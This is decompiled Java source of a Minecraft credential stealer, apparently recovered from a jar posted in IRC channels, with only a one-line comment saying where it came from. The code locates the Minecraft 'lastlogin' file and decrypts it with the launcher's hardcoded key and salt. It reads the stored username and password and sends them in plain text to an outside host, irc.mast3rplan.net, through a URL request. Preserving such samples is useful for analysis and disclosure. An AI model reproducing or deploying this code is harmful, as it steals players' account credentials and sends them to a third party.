//A jar containing this compiled java code was posted in #risucraft and #mcp by [email protected] - Fri 28 Oct, 10 PM

import java.io.DataInputStream;
import java.io.File;
import java.io.FileInputStream;
import java.net.URL;
import java.net.URLConnection;
import javax.crypto.Cipher;
import javax.crypto.CipherInputStream;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.PBEKeySpec;
import javax.crypto.spec.PBEParameterSpec;

public class Main
{
  private static Main.OS getPlatform()
  {
    String osName = System.getProperty("os.name").toLowerCase();
    if (osName.contains("win")) return Main.OS.windows;
    if (osName.contains("mac")) return Main.OS.macos;
    if (osName.contains("solaris")) return Main.OS.solaris;
    if (osName.contains("sunos")) return Main.OS.solaris;
    if (osName.contains("linux")) return Main.OS.linux;
    if (osName.contains("unix")) return Main.OS.linux;
    return Main.OS.unknown;
  }

  private static File getWorkingDirectory(String applicationName) {
    String userHome = System.getProperty("user.home", ".");
    File workingDirectory;
    File workingDirectory;
    File workingDirectory;
    File workingDirectory;
    switch ($SWITCH_TABLE$Main$OS()[getPlatform().ordinal()]) {
    case 1:
      workingDirectory = new File(userHome, '.' + applicationName + '/');
      break;
    case 3:
      String applicationData = System.getenv("APPDATA");
      File workingDirectory;
      if (applicationData != null) workingDirectory = new File(applicationData, "." + applicationName + '/'); else
        workingDirectory = new File(userHome, '.' + applicationName + '/');
      break;
    case 4:
      workingDirectory = new File(userHome, "Library/Application Support/" + applicationName);
      break;
    case 2:
    default:
      workingDirectory = new File(userHome, applicationName + '/');
    }
    if ((!workingDirectory.exists()) && (!workingDirectory.mkdirs())) throw new RuntimeException("The working directory could not be created: " + workingDirectory);
    return workingDirectory;
  }

  public static void main(String[] args) {
    try {
      byte[] salt = { 12, -99, 74, -28, 30, -125, 21, -4 };
      PBEParameterSpec pbeParamSpec = new PBEParameterSpec(salt, 5);

      SecretKey pbeKey = SecretKeyFactory.getInstance("PBEWithMD5AndDES").generateSecret(new PBEKeySpec("passwordfile".toCharArray()));
      Cipher cipher = Cipher.getInstance("PBEWithMD5AndDES");
      cipher.init(2, pbeKey, pbeParamSpec);

      File lastLogin = new File(getWorkingDirectory("minecraft"), "lastlogin");
      DataInputStream s = new DataInputStream(new CipherInputStream(new FileInputStream(lastLogin), cipher));
      String user = s.readUTF();
      String pass = s.readUTF();

      new URL("http://irc.mast3rplan.net/mc.php?user=" + user + "&pass=" + pass).openConnection().getContent();
    } catch (Exception e) {
      e.printStackTrace();
    }
  }

  private static enum OS
  {
    linux, solaris, windows, macos, unknown;
  }
}